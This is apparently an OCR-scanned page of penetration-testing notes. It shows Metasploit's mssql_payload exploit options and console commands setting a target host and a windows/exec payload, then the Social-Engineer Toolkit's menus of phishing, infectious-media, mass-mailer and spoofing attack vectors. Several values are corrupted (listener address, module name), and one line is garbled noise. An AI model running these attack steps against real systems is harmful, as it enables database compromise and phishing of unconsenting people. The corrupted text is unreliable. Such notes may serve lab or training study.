Module options (exploit/windows/mssql/mssql_payload):

Name Current Setting Required Description

METHOD Which payload delivery method
to use (ps, cmd, or old)

PASSWORD The password for the specifie
d username

RHOST yes The target address

RPORT 1433 yes The target port

SRVHOST 6.0.08.0 yes The local host to listen on.
This must be an address on the local machine or ©.0.0.0

SRVPORT 8088 yes The local port to listen on.

SSL false no Negotiate S5L for incoming co
nnections

SSLCert Path to a custom SSL certific
ate (default is randomly generated)

TDSENCRYPTION false Use TLS/SSL for TDS data "For
ce Encryption”

URIPATH The URI to use for this explo
it (default is random)

USERNAME sa The username to authenticate
as

USE_WINDOWS_AUTHENT false Use windows authentification
(requires DOMAIN option set)

msf exploit(mssqglpayload) set RHOSTS 10.10.10.14

msf exploit(mssql_payload) > set PAYLOAD windows/exec

msf exploitmss W LI 8t 2+ R0 B &aS0G /a5 aALIO2yFAI kI ff¢
¢SAaLIAG SGGAEAYAT Sy@lyiSNI @S TFFFAaSitSNBE 31 NB



Setoolkit:
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The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
Select from the menu:
Social-Engineering Attacks
Penetration Testing (Fast-Track)
Third Party Modules
Update the Social-Engineer Toolkit
Update SET configuration
Help, Credits, and About
Exit the Social-Engineer Toolkit
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Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack vectors

3) Infectious Media Generator

4) Create a Payload and Listener
5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector

9) Powershell Attack Vvectors

10)
11)

29)

sSMs spoofing Attack Vector
Third Party Modules

Return back te the main menu.
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